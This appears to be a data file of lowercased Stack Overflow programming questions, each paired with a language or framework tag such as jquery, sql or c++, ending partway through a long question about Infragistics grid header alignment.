combine jquery functions  i m sure that this is somewhere but i am wondering if i can combine these two jquery functions (assuming that  do something  is the same code).   <pre><code>$( window ).resize(function() {       //do something });  $( .myselector input ).on( click   function() {     //do something }); </code></pre>   sort of like in php when you use ||     every time that i search for this  it comes up with results for $( #myidone  #myidtwo ) which won t help me.    thanks!,jquery
making one div the full width of the window minus the width of a floating in div  i have two divs  that floating next to each other   <pre><code>&lt;div id= 1 &gt;div 1&lt;/div&gt; &lt;div id=2  &gt;div 2&lt;/div&gt;  #1 {float:left; padding:0 20px; width:200px;} #2 {float:left; padding-right:20px;} </code></pre>   the problem is that the width of div2  automatically sets to the width of the  div 2  text contained within the div. instead i want that width to be the full width of the window  and when the window is resized to a narrow window  div 2 should resize with it.    i can work out how to do it in javascript  but is there a way to do it in css,css
how can i get the value of a <td> from the clicked event of a previous <td> with jquery   i have the following html:   <pre><code>&lt;tr&gt;     &lt;td class= ui-widget-content &gt;         &lt;a title= edit  href= /administration/menus/edit/001w             class= editlink ui-button ui-widget ui-state-default ui-corner-all ui-button-icon-only              role= button &gt;             &lt;span class= ui-button-text &gt;edit&lt;/span&gt;         &lt;/a&gt;     &lt;/td&gt;     &lt;td class= ui-widget-content &gt;001w&lt;/td&gt; &lt;/tr&gt; </code></pre>   to the editlink class i apply the following:   <pre><code>$( .editlink )               .button({ icons: { primary:  ui-icon-clipboard } })               .removeclass( ui-button-text-icon-primary )               .addclass( ui-button-icon-only )               .click(function () {                   editclick(this);                   return false;                }); </code></pre>   is there a way that i can make it so i call the editclick function with the value of the following <code>&lt;td&gt;</code> as a second argument     so for example in this case it would be the same as calling editclick(this  001w ),jquery
sql - select results from multiple columns where row 1 and row 2 are true  i m trying to get the birthdate for people from a table where firstname and lastname are in the same row. i m dealing with 100 s of names and i cannot get unique results.    i ve tried in firstname and lastname  however i am getting matches that are not in the same row.     example: table  test     <strong>firstname</strong>   <strong>lastname</strong><br> john              doe<br> john              adams<br> jane              doe<br> molly             jetson<br> mary              wayne        <pre><code>select firstname lastname from test where lastname in (   doe    adams    jetson  ) and firstname in (  john    john    molly  ); </code></pre>   i only want cases where the firstname <strong>matches</strong> the lastname in the <strong>second list</strong>  however i m getting <strong>any</strong> result where the firstname is found or the lastname is found  so i get both  john doe  and  jane doe  in the result because the firsname was found and the lastname was also found.    what i want to return would be:    john doe john adams molly jetson    not: john doe jane doe john adams molly jetson,sql
when to set a constant value  inside a class or during initialisation   i am new with oop and have a construction question.     i have a class called person with the subclasses (strongperson  crazyperson etc.). the person class has many properties one of them is property strength.    <pre><code>public class person private m_strength as integer protected property strength() as integer end class  public class strongperson inherits person ...  end class </code></pre>   every subclass has his own strengthvalue. e.g. strongperson has a value of 10. i see two possibilities of coding that. either i set the 10 in the subclass (but i dont know how to do this) or i set the 10 during initialisation. what is the common or prefered way of coding that,.net
what is the need for signed and unsigned characters in c  what is the need for signed and unsigned characters in c     is there some special reason for having a signed and unsigned char in c  or was it simply added for completeness so that the compiler does not have to check the data type before adding signed/unsigned modifier      i am not asking about signed and unsigned variables. my doubt is about the special cases where an unsigned character variable will not be sufficient such that you have to depend on a signed character variable.,c
how to effectively draw polyline using google api   i m drawing polyline on mapview using  google direction api  and getting success in it.but the thing is that it draws straight line between two locations(with their longitude and latitude).i don t know how to draw line effectively like shown by google maps when we click  get directions  between two locations.,iphone
persist property ios  i need a way of persisting a property whose value can be one of two states on ios devices. the value must be accessible from all parts part of the application but invisible to other applications  easy to read and write and must survive one program run to the next and os restarts. what option is the best for my situation on ios,ios
php display group by with two criteria  i would like to display mysql database group by month and year basis two field value.    from table:   <pre><code>adate 2013-12-02 2013-12-04 2013-11-03 2013-11-06 2012-01-02 2012-01-05 </code></pre>   to:   <pre><code>2013-12 2013-11 2012-01 </code></pre>   how can this be done,mysql
which to implement layout given as in foursquare  i want to create same layout as that of foursquare   but i am not clear that mapview and upon mapview they used tableview or some other technique   please help which technique is used for following layout. <img src= https://i.stack.imgur.com/5d0vp.png  alt= enter image description here >,iphone
character string to bitset in c++  i am still kind of new to c++ and am trying to figure out what i am not able to pass a value correctly to a bitset  at least i suspect that is what the problem is.  i wrote a small function to assist in flipping the bits of a hex value to reverse the endian. so example would be input 0x01 and it would return 0x80.     this is the code i wrote.   <pre><code>int flipbits(char msd  char lsd) {  char ch[5]; sprintf_s(ch   0x%d%d   msd  lsd); char buffer[5]; strncpy_s(buffer  ch  4); cout &lt;&lt; ch &lt;&lt; endl; cout &lt;&lt; buffer &lt;&lt; endl; bitset&lt;8&gt; x(buffer); bitset&lt;8&gt; y;  for (int i = 0; i &lt; 8; i++) {     y[i] = x[7 - i]; }  cout &lt;&lt; y &lt;&lt; endl;              // print the reversed bit order int b = y.to_ulong();           // convert the binary to int  cout &lt;&lt; b &lt;&lt; endl;              // print the int cout &lt;&lt; hex &lt;&lt; b &lt;&lt; endl;       // print the hex   return b; } </code></pre>   i tried adding the strncpy because i thought maybe the null terminator from sprintf was not working properly with the bitset. if in the line    <pre><code>bitset&lt;8&gt; x(buffer); </code></pre>   i replace buffer with a hex value  say for example 0x01  then it works and prints out 0x80 as i would expect  but if i try to pass in the value with the buffer it doesn t work.,c++
ios 10.2.1 - enterprises apps fail to verify [iphone]  whenever i go to <code>general &gt; device management</code> and try to verify apps from a developer  it fails. i press <code> verify </code> then it says <code> verifying </code> on top like it s supposed to  with the circle loading bar but then it stops and gives no messages at all.    it was working the night before. any help,ios
java s short spans from -32768 (=0x8000) but why do we have to cast 0x8000 to short explicitly   based on the following information     <a href= https://i.stack.imgur.com/vgfyd.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vgfyd.png  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/lix32.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lix32.png  alt= enter image description here ></a>    we know that java s <code>short</code> spans  from <code>-32768 (=0x8000)</code> to <code>32767 (=0x7fff)</code> and casting is optional. what i don t understand is that why do we have to cast <code>0x8000</code> to <code>short</code> <em>explicitly</em>    <pre><code>public static void main(string[] args) {             short x;     x = (short) 0x8000;     // x = 0x8000; // have to cast 0x8000 to short     system.out.println(x); } </code></pre>   i am using netbeans on windows.,java
how to send data from asp.net web api to angular cli and how to receive these data into angular cli  i am working on asp.net web api and angular cli. i am trying to relate both project. means i want to take data for angular cli from wep api. how to do it,c#
strong naming in .net  what is strong naming and how is it useful in .net,.net
working with several asynchronous requests  suppose my app needs to do several asynchronous requests  but i want to work with the data only once all requests are complete.    what is the simplest way to achieve this in vanilla js or jquery  sample of code appreciate thanks,javascript
display values from database (variable) to drop down in asp  i am working with asp page where i receive the values from a stored procedure to variable properly  but i am not sure how to assign values to drop down.    i used the same way for the text box and it works fine.    in code below i am assigning values from data set to variable   <pre><code>cc_db_sitesurveyonly=bbinfors( sitesurveyonly ).value </code></pre>   and here is a code for the the html   <pre><code>            &lt;select name= cc_localsitesitesurveyonly  value= &lt;%=cc_db_sitesurveyonly%&gt; &gt;                &lt;option value=  &gt;select&lt;/option&gt;                &lt;option value= y &gt;y&lt;/option&gt;                &lt;option value= n &gt;n&lt;/option&gt;             &lt;/select&gt; </code></pre>,asp.net
issue with retrieving object data on ie 8 on windows xp or 2003  this is an interesting problem that i am facing with javascript and ie8 on windows xp and windows 2003. i create an object on the page and then retrive information about that object (for example  its version). when trying to get the version  i am running this code:   <pre><code>var myobject = document.getelementbyid(objectid); console.log(myobject.version); </code></pre>   what is interesting is that this code works on every single browser except ie8 on windows xp and 2003. i ve done some debugging and this is where things get interesting.    myobject is <em>not</em> null but myobject.version is undefined. so what i did is i added an alert in between so the code is now as follows:   <pre><code>var myobject = document.getelementbyid(objectid); alert(myobject.version); console.log(myobject.version); </code></pre>   the alert results in  undefined   however  the console.log is now resulting in the actual version. if i add an alert before this alert of anything (let s say alert( something )) then the second alert has the actual version now. i am assuming this is a timing issue (for some reason the object needs sometime to be able to provide the data stored in it ) but i am not sure what kind of timing issue this is or how to approach it.    sorry for the long description but any help is appreciated.,javascript
trying to convert if else to swicth case  i have the following code where i am trying to convert the following code in switch/case but i am really a starter as to how to do it   <pre class= lang-js prettyprint-override ><code>if (data.statusmsg ==   ) {    type =  warning  } else {    type =  success  }  if (data.noaction !=   ) {   text = data.noaction } else {   text = data.statusmsg }  if (data.statusmsg !=    &amp;&amp; data.noaction ==   ) {   text = data.statusmsg  }  if (data.statusmsg !=    &amp;&amp; data.noaction !=   ) {   type =  info  text = data.statusmsg +  &lt;hr&gt;  + data.noaction }  if (data.statusmsg ==    &amp;&amp; data.noaction ==   ) {    type =  success   text = data.statusmsg } </code></pre>   please guide     thanks,jquery
select unique results and null  i need get all lines from table  that have unique value in certain fields and all lines  than have <code>null</code> in this fields. example:   <pre><code>id | name | group ----------------- 1  | one  | 1 2  | two  | null 3  | three| 3 4  | four | 2 5  | five | 1 6  | six  | 2 7  | seven| null </code></pre>   result:   <pre><code>id | name | group ----------------- 1  | one  | 1 2  | two  | null 3  | three| 3 4  | four | 2 7  | seven| null </code></pre>   how to make it in one request,sql
adding html after each img tag on the page  i m trying to add additional html after each image on the page. but  for some reason  it doesn t accept the  img  tag. if i put  p  tag  it works  but not for images.    <code>$( img ).append( some text );</code>    any idea why this is or what am i doing wrong,jquery
c# generic abstract class with self referencing constraint  i came across an issue with creating a generic list of our query classes.  these query classes are derived from a base abstract generic class with a self referencing type constraint.     the stripped down base class and derived classes are:   <pre><code>public abstract class abstractquery&lt;tquery  tresult&gt;      where tquery : abstractquery&lt;tquery  tresult&gt;  {     public ienumerable&lt;tresult&gt; query ()     {         return new list&lt;tresult&gt;();     } }  public class firstquery : abstractquery&lt;firstquery  object&gt; { }  public class secondquery : abstractquery&lt;secondquery  object&gt; { } </code></pre>   the application code wants to create a list of these queries and execute the query method on each  such as:   <pre><code>        var querylist = new list&lt;abstractquery&lt;abstractquery  object&gt;&gt;             {                 new firstquery()                  new secondquery()             };          foreach ( var query in querylist )         {             query.query();         } </code></pre>   this part does not build because the list type is invalid of course.  so my question is what type can i use for the list to have this code function correctly     as a side note  we did solve this another way by adding an iquery interface with a query method signature that abstractquery implements  but still wanted to see if the initial way was possible.  and yes  there is a reason for the self referencing constraint in the actual code - its needed for some reflection code.,c#
write a sql query to get all records from table users  plese write a sql query to get all records from table users which have not a corresponding record in table test_results :    users :   <pre><code>_____________________ id  | name | test_id _____________________ 1   | hans |10 2   |john  |20 </code></pre>,sql
title() python string that contains numbers  i have a string like this:       curico 394 depto 1013      and i want this output      curico 394 depto 1013     how could i accomplish that in python 2.7,python
scanf is not taking input of type double  this is the code i am running       <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt;  void main()     {  int i=0;  double kl x0 x1 xk;  printf( enter kl );  scanf( %lf  &amp;kl);    printf( hello );  for(x1=kl;((x1-x0)&gt;2) || ((x1-x0)&lt;-2);x0 );     {    x0=x1;    x1=(x0/2.0)+(kl/(2.0*x0));     }  printf( %lf  x1);   printf(  %lf   (sqrt(kl)-x1)); }  </code></pre>   after running <code>scanf</code> is not taking input. hello is not printed.,c
notification is not triggering  in my app  i am able to see in logs its coming till on receive method  but notification is not triggering.   <pre><code>string message = intent.getstringextra(constants.notification_msg);     string title = intent.getstringextra(constants.notification_title);     int notificationid = intent.getintextra(constants.notification_id  0);      if (buildconfig.debug) {         log.e(tag  onreceive !! called  +notificationid);     }      if(textutils.isempty(title)|| textutils.isempty(message))return;      notificationmanager notificationmanager = (notificationmanager)context.getsystemservice(context.notification_service);      intent notifyintent = new intent(context goalhomescreen.class);     notifyintent.setflags(intent.flag_activity_clear_top | intent.flag_activity_single_top | intent.flag_activity_clear_task | intent.flag_activity_new_task);       pendingintent pendingintent = pendingintent.getactivity(context  (int) system.currenttimemillis()  notifyintent  0);      notificationcompat.builder builder = new notificationcompat.builder(context);     builder.setcontenttitle(title);     builder.setcontenttext(message);     builder.setcontentintent(pendingintent);     builder.setsmallicon(r.drawable.ic_app);     builder.setstyle(new notificationcompat.bigtextstyle().bigtext(message));     builder.setdefaults(notification.default_lights | notification.default_sound);     notification notification = builder.build();     notification.flags |= notification.flag_auto_cancel;     if (utils.getupdatenotification()) {         notificationmanager.notify(notificationid  notification);     } </code></pre>,android
how to create pairs in sql query   could anyone tell me how to create pairs in mysql. if you see the below query    <pre><code>select a.cakeid   a.ingredid from contain as a inner join (select      cakeid  count(cakeid) from     contain group by cakeid having count(cakeid) &gt;= 3 ) as b on a.cakeid = b.cakeid   output:  cakeid ingredid  1    1   1    3   1    4   3    1   3    4   3    5   5    1   5    2   5    4   6    1   6    2   6    3   6    5   7    1   7    2   7    3   7    4   8    1   8    2   8    3  </code></pre>   could anyone tell me how can i create pairs of cakeid which uses atleast three common ingredient   for example  6 and 7 are one pair which have three common ingredient.,mysql
properly placing chunk split in php  i have a snippet of wp/php code and the below outputs this: 20150204   <pre><code>&lt; php echo  $datef=get_post_meta($post-&gt;id   date_slot   true);  &gt; </code></pre>   i want to use chunk split and split the date with a forward slash: 2015/02/04    tried a few methods but it s not as simple as doing a normal chunk split with a normal string  as i want it to appear  4/2/2. so far i have this:   <pre><code>&lt; php $datef=get_post_meta($post-&gt;id   date_slot   true);  echo chunk_split($datef 4   / )  &gt; </code></pre>   which is outputting this: 2015/0204/,php
error when trying to access elements in map  here is my .h file containing the struct i am creating.   <pre><code>struct market{   string file_name;   vector&lt;string&gt; symbol_list={ aa   axp   ba   bac   cat   csco   cvx   dd                     dis   ge   hd   hpq   ibm   intc   jnj   jpm                     kft   ko   mcd   mmm   mrk   msft   pfe                     pg   t   trv   utx   vz   wmt   xom };   map&lt;long  vector&lt;double&gt;&gt; stocks;    market()=default;   market(string s);    double get_price(string  long) const;   pair&lt;double  double&gt; high_low_year(long year  string symbol); };  #endif </code></pre>   i am trying to create the get_price method. it will take the inputted string and be sure that it is an element of symbol_list  and find its index. i will use this index to find the corresponding element in the map called  stocks .    when i use any sort of indexing technique or the find function  i get errors. since get_price is a const method  i have figured out i cannot use [] indexing  as this will alter the map if the key is not present. the find function is also giving me crazy errors. here is a way i tried:   <pre><code>double market::get_price(string stock  long date) const{   //vector&lt;string&gt;::const_iterator stock_exist;   //map&lt;long  vector&lt;double&gt;&gt;::const_iterator date_exist;   auto stock_exist = find(symbol_list.begin()  symbol_list.end()  stock);   auto date_exist = find(stocks.begin()  stocks.end()  date);   if (stock_exist != symbol_list.end() and date_exist != stocks.end()){     double stock_index = (stock_exist) - symbol_list.begin();     double price = stocks.find(date)-&gt;second[stock_index];     return price;   }   else{     return -1.0;   } } </code></pre>   which yields this error:   <pre><code>/usr/include/c++/6/bits/predefined_ops.h:199:17: error: no match for ‘operator==’ (operand types are ‘const std::pair&lt;const long int  std::vector&lt;double&gt; &gt;’ and ‘const long int’)   { return *__it == _m_value; }            ~~~~~~^~~~~~~~~~~ </code></pre>   how can i get around this,c++
how to join a table with null values  i have two tables   <pre><code>tasks ------ id         int name       varchar(100) statusid   int (fk)  status ------ id           int description  varchar(100) </code></pre>   the following values exist   <pre><code>tasks ------ id    name    statusid 1     test1   1 2     test2   null 3     test3   2  status ------- id     description 1      failed 2      aborted 3      succeeded </code></pre>   now  i need to show all the values in tasks with their statuses. the following query doesn t works on null values in tasks status id column   <pre><code>select t.id  t.name  s.description from tasks t join status s on s.id = t.statusid </code></pre>   what i want the output to be:   <pre><code>tasks ------ id    name    description 1     test1   failed 2     test2   null 3     test3   aborted </code></pre>   instead i get   <pre><code>tasks ------ id    name    description 1     test1   failed 3     test3   aborted </code></pre>   what is the best way to get all the null values also via a join or otherwise,sql
is there any way a user can close an asp.net webpage that does not trigger the page_unload event   suppose that you have a single page website with a database behind it  and you want to close all open connections to the database in the page_unload event. is there any way the user can close the page that doesn t trigger this event     in other words: can you rely on the page_onunload handler to always execute  assume that the server stays operational (so not something like a server that suddenly powers down while the page is open).,asp.net
images not showing up when webpage published  so i seem to be having a strange problem. when i open up my html pages locally  everything shows up and everything works. however  once i uploaded them to the server for my website only two of the images show up.    all of my images are in the same folder as all of my html pages and there are still a few images that work. is this an issue with my image paths  or is it something with my host since some of the images will load     here is the url for my webpage: clepert.jomc-class.org,html
how to read tf.exe installtion path usng c#  i want to read installed tfs file path from my computer using c#. please suggest me.    note: if tfs is installed in c:\program files\ms\tools. i have to read this path from application dynamically using c# programming by providing file name like tf.exe.,.net
combine two tables  supose these 3 tables:    <strong>ship :</strong>                             <pre><code>    id                    --------------------      1                                2                                 3 </code></pre>   <strong>arrive:</strong>   <pre><code> shipid     atime  --------------------      1       t1       1       t3 </code></pre>   <strong>leave:</strong>   <pre><code> shipid     ltime --------------------      1       t2      1       t4 </code></pre>   i need a query that returns :   <pre><code>  shipid   atime   ltime ------------------------------     1       t1       null     1      null       t2     1       t3       null     1      null       t4 </code></pre>   where t1>t2>t3>t4    this result is acceptable to :   <pre><code>  shipid   atime   ltime ------------------------------     1       t1       null     1       t3       null     1      null       t2     1      null       t4 </code></pre>,sql
javascript prototype and constructor  i have following piece of code for the purpose of learning javascript.   <pre><code>function pizza(type  slices) {     this.type = type;     this.slices = slices; }   pizza.prototype.divvyup = function () {     alert( the   + this.type +   pizza has been divvied up! ); };  var sausagepizza = new pizza( sausage   8);   sausagepizza.constructor.prototype.divvyup(); sausagepizza.divvyup(); if (sausagepizza.constructor.prototype.divvyup === sausagepizza.divvyup) {     alert( yes they are equal ); } </code></pre>   the thing is that when these two lines of code are executed:   <pre><code>sausagepizza.constructor.prototype.divvyup(); sausagepizza.divvyup(); </code></pre>   though the <code>if</code> statement next to them ratifies that they are equal as far their types and values are concerned. but the first line gives me a result which reads like this  the undefined pizza has been divvied up  and the second line turns out to be giving me a little different result which reads as  the sausage pizza has been divvied up . i m super confused that why can t first line among these two read <code>this.type</code> variable value and throws an undefined from the alert message inside <code>divvyup()</code> function when they are equal according to the if statement.,javascript
infragistics grid header alignment issue in all browsers except i.e  i am using infragistics version 7.1 (netadvantage 2008 vol 3 ) . i have a problem with ultrawebgrid headers alignment. when the grid is shown the headers of columns lose their alignment in all browsers except ie from content and footers i have already searched a lot for solution. some solutions i tried are as follows:   <pre><code>1) setting usefixedheaders to false. 2) adding htmltextwriter in render event. 3) setting percentages for width rather than pixels. 4) setting percentages for headers along with columns. 5) adding scrollbar button to header along with other contents. </code></pre>   i cannot remove/ replace infragistics grid with some other sorcery. any guidance will be highly appreciated.    aspx file:   <pre><code>&lt;%@ register assembly= infragistics2.webui.ultrawebgrid.excelexport.v7.1      version=7.1.20071.40  culture=neutral  publickeytoken=7dd5c3163f2cd0cb  namespace= infragistics.webui.ultrawebgrid.excelexport  tagprefix= igtblexp  %&gt;  &lt;%@ register assembly= infragistics2.webui.misc.v7.1  version=7.1.20071.40  culture=neutral  publickeytoken=7dd5c3163f2cd0cb  namespace= infragistics.webui.misc  tagprefix= igmisc  %&gt;  &lt;%@ register assembly= infragistics2.webui.ultrawebgrid.v7.1  version=7.1.20071.40  culture=neutral  publickeytoken=7dd5c3163f2cd0cb  namespace= infragistics.webui.ultrawebgrid  tagprefix= igtbl  %&gt;  &lt;asp:content id= content2  runat= server  contentplaceholderid= contentplaceholder1 &gt; &lt;script language= javascript  type= text/javascript &gt;      function setverticalscrollbar() {         var div   =  document.getelementbyid( ctl00xcontentplaceholder1xgridreportmain_div );          var hasverticalscrollbar = div.scrollheight &gt; div.clientheight;         var div1 =   document.getelementbyid( ctl00xcontentplaceholder1xgridreportmain_hdiv );         //   alert(hasverticalscrollbar);         if (hasverticalscrollbar) {              div1.style.overflowy =  scroll ;         } else {             div1.style.overflowy =  hidden ;         }     } &lt;/script&gt;  &lt;igmisc:webasyncrefreshpanel id= webasyncrefreshpanel1  runat= server  height= 100%                  initializepanel= webasyncrefreshpanel1_initializepanel      refreshcomplete= webasyncrefreshpanel1_refreshcomplete  width= 100%                   tooltip= filter records  refreshtargetids= lbltest &gt;   &lt;igtbl:ultrawebgrid id= gridreportmain  runat= server  oninitializelayout= gridreportmain_initializelayout                      oninitializerow= gridreportmain_initializerow  onpageindexchanged= gridreportmain_pageindexchanged                      onsortcolumn= gridreportmain_sortcolumn  style= left: 0px; top: 0px  onitemcommand= gridreportmain_itemcommand                      height= 380px  width= 1000px &gt;   &lt;/igtbl:ultrawebgrid&gt;              &lt;/igmisc:webasyncrefreshpanel&gt;    aspx.cs file    protected override void render(htmltextwriter writer)     {          stringbuilder sb = new stringbuilder();         htmltextwriter tw = new htmltextwriter(new system.io.stringwriter(sb));         //render the page to the new htmltextwriter which actually writes to the stringbuilder          base.render(tw);          //get the rendered content          string scontent = sb.tostring();         // scontent=util.setcaptionwidth(scontent  gridreportmain);         scontent = util.handlecolgroup(scontent  null);          //now output it to the page  if you want          writer.write(scontent);          // .... render using the provided writutier      }    public void bindgrid()  {     gridreportmain.columns.fromkey( col1 ).width = unit.percentage(8);     gridreportmain.columns.fromkey( col1 ).cellstyle.horizontalalign = horizontalalign.center;     gridreportmain.columns.fromkey( col2 ).width = unit.percentage(17);     gridreportmain.columns.fromkey( col2 ).cellstyle.horizontalalign = horizontalalign.center;     gridreportmain.columns.fromkey( col3 ).width = unit.percentage(35);     gridreportmain.columns.fromkey( col3 ).cellstyle.wrap = true;     gridreportmain.columns.fromkey( col3 ).cellstyle.horizontalalign = horizontalalign.left;     gridreportmain.columns.fromkey( col4 ).width = unit.percentage(20);     gridreportmain.columns.fromkey( col4 ).cellstyle.horizontalalign = horizontalalign.center;     gridreportmain.columns.fromkey( col5 ).cellstyle.width = unit.percentage(20);     gridreportmain.columns.fromkey( col5 ).cellstyle.horizontalalign = horizontalalign.right; } </code></pre>  <hr>   //rendered html of code by chrome browser is as follows   <pre><code>    &lt;div id= ctl00_contentplaceholder1_webasyncrefreshpanel1  style= width: 100%; height: 100%; &gt;          &lt;input type= hidden  id= ctl00_contentplaceholder1_gridreportmain  name= ctl00xcontentplaceholder1xgridreportmain  value=  &gt; &lt;table border= 0  cellpadding= 0  cellspacing= 0  id= ctl00xcontentplaceholder1xgridreportmain_main  style= overflow: hidden; table-layout: fixed; position: relative; width: 100%; height: 420px;  class= ig_a92c6fb9_0  onresize= igtbl_onresize( ctl00xcontentplaceholder1xgridreportmain );  onmousemove= igtbl_tablemousemove(event  ctl00xcontentplaceholder1xgridreportmain );  onmouseup= igtbl_tablemouseup(event  ctl00xcontentplaceholder1xgridreportmain ); &gt;             &lt;tbody&gt;                 &lt;tr style=  &gt;                     &lt;td align= left  style= overflow: hidden; width: 100%; &gt;                         &lt;div id= ctl00xcontentplaceholder1xgridreportmain_hdiv  onscroll= igtbl_onstationarymarginscroll(event   ctl00xcontentplaceholder1xgridreportmain    ctl00xcontentplaceholder1xgridreportmain_hdiv )  style= overflow: hidden; width: 100%; position: relative; &gt;                             &lt;table border= 0  cellpadding= 0  cellspacing= 0  style= position: relative; table-layout: fixed; height: 100%; left: 0px;  bandno= 0  width= 100% &gt;                                 &lt;colgroup&gt;                                     &lt;col width= 3% &gt;                                     &lt;col width= 8% &gt;                                     &lt;col width= 17% &gt;                                     &lt;col width= 35% &gt;                                     &lt;col width= 20% &gt;                                     &lt;col width=  &gt;                                 &lt;/colgroup&gt;                                 &lt;thead class= ig_a92c6fb9_2 ig_a92c6fb9_4  onmousedown= igtbl_headerclickdown(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseup= igtbl_headerclickup(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseout= igtbl_headermouseout(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmousemove= igtbl_headermousemove(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseover= igtbl_headermouseover(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  oncontextmenu= igtbl_headercontextmenu(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  ondblclick= igtbl_celldblclick(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;); &gt;                                     &lt;tr&gt;                                         &lt;th width= 22px  height= 21px &gt;                                             &lt;img src= /webresource.axd d=7pwsbim8mjigeb1wa5njl8vaqvyucqnpfodupjzvgdjugewsuhkhtqd6piyu4mvepwpz0y9a-4zqxtk6qcpcx7x1pdsr9sid6hyi6jggzaiw2azd88swunviw5rwsjfzbhhqxk_x-ham2_7abzivikxeemyvflgbqck5mn44tpzwhnforlsrlarv4opbv-s3san5jw2&amp;amp;t=634992170622404219  border= 0  imgtype= blank  style= visibility: hidden; &gt;&lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_c_0_0  columnno= 0  height= 21px &gt;                                             &lt;nobr&gt;col1&lt;/nobr&gt;                                         &lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_c_0_1  columnno= 1  height= 21px &gt;                                             &lt;nobr&gt;col2&lt;/nobr&gt;                                         &lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_c_0_2  columnno= 2  height= 21px &gt;                                             &lt;nobr&gt;col3&lt;/nobr&gt;                                         &lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_c_0_3  columnno= 3  height= 21px &gt;                                             &lt;nobr&gt;col4&lt;/nobr&gt;                                         &lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_c_0_4  columnno= 4  height= 21px &gt;                                             &lt;nobr&gt;col5&lt;/nobr&gt;                                         &lt;/th&gt;                                     &lt;/tr&gt;                                 &lt;/thead&gt;                             &lt;/table&gt;                         &lt;/div&gt;                     &lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr id= ctl00xcontentplaceholder1xgridreportmain_mr  style= height: 100%; &gt;                     &lt;td id= ctl00xcontentplaceholder1xgridreportmain_mc  align= left  style= height: 100%; width: 100%; vertical-align: top; &gt;                         &lt;div id= ctl00xcontentplaceholder1xgridreportmain_div  style= overflow: hidden; overflow-y: auto; width: 100%; height: 100%;  onscroll= igtbl_onscroll(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  tabindexpage= 0  hidefocus= true &gt;                             &lt;table id= g_ctl00xcontentplaceholder1xgridreportmain  bandno= 0  border= 0  cellpadding= 0  cellspacing= 0  style= table-layout: fixed; width: 100%; position: relative;  onselectstart= igtbl_selectstart(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmousedown= igtbl_cellclickdown(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseup= igtbl_cellclickup(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  oncontextmenu= igtbl_cellcontextmenu(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmousemove= igtbl_cellmousemove(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseover= igtbl_cellmouseover(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseout= igtbl_cellmouseout(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  ondblclick= igtbl_celldblclick(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;); &gt;                                 &lt;colgroup&gt;                                     &lt;col width= 3% &gt;                                     &lt;col width= 8% &gt;                                     &lt;col width= 17% &gt;                                     &lt;col width= 35% &gt;                                     &lt;col width= 20% &gt;                                     &lt;col width=  &gt;                                 &lt;/colgroup&gt;                                 &lt;thead class= ig_a92c6fb9_2 ig_a92c6fb9_4  style= height: 21px; display: none;  onmousedown= igtbl_headerclickdown(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseup= igtbl_headerclickup(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseout= igtbl_headermouseout(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmousemove= igtbl_headermousemove(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseover= igtbl_headermouseover(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  oncontextmenu= igtbl_headercontextmenu(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;); &gt;                                     &lt;tr&gt;                                         &lt;th height= 21px &gt;                                             &lt;img src= /webresource.axd d=7pwsbim8mjigeb1wa5njl8vaqvyucqnpfodupjzvgdjugewsuhkhtqd6piyu4mvepwpz0y9a-4zqxtk6qcpcx7x1pdsr9sid6hyi6jggzaiw2azd88swunviw5rwsjfzbhhqxk_x-ham2_7abzivikxeemyvflgbqck5mn44tpzwhnforlsrlarv4opbv-s3san5jw2&amp;amp;t=634992170622404219  border= 0  imgtype= blank  style= visibility: hidden; &gt;&lt;/th&gt;                                         &lt;th id= th1  columnno= 0  height= 21px &gt;&amp;nbsp;&lt;/th&gt;                                         &lt;th id= th2  columnno= 1  height= 21px &gt;&amp;nbsp;&lt;/th&gt;                                         &lt;th id= th3  columnno= 2  height= 21px &gt;&amp;nbsp;&lt;/th&gt;                                         &lt;th id= th4  columnno= 3  height= 21px &gt;&amp;nbsp;&lt;/th&gt;                                         &lt;th id= th5  columnno= 4  height= 21px &gt;&amp;nbsp;&lt;/th&gt;                                     &lt;/tr&gt;                                 &lt;/thead&gt;                                 &lt;tbody style= height: 100%  class= ig_a92c6fb9_2 ig_a92c6fb9_4 &gt;                                     &lt;tr id= ctl00xcontentplaceholder1xgridreportmain_r_0  style= height: 21px;  level= 0 &gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_l_0  style= width: 22px; height: 21px; &gt;                                             &lt;img src= /webresource.axd 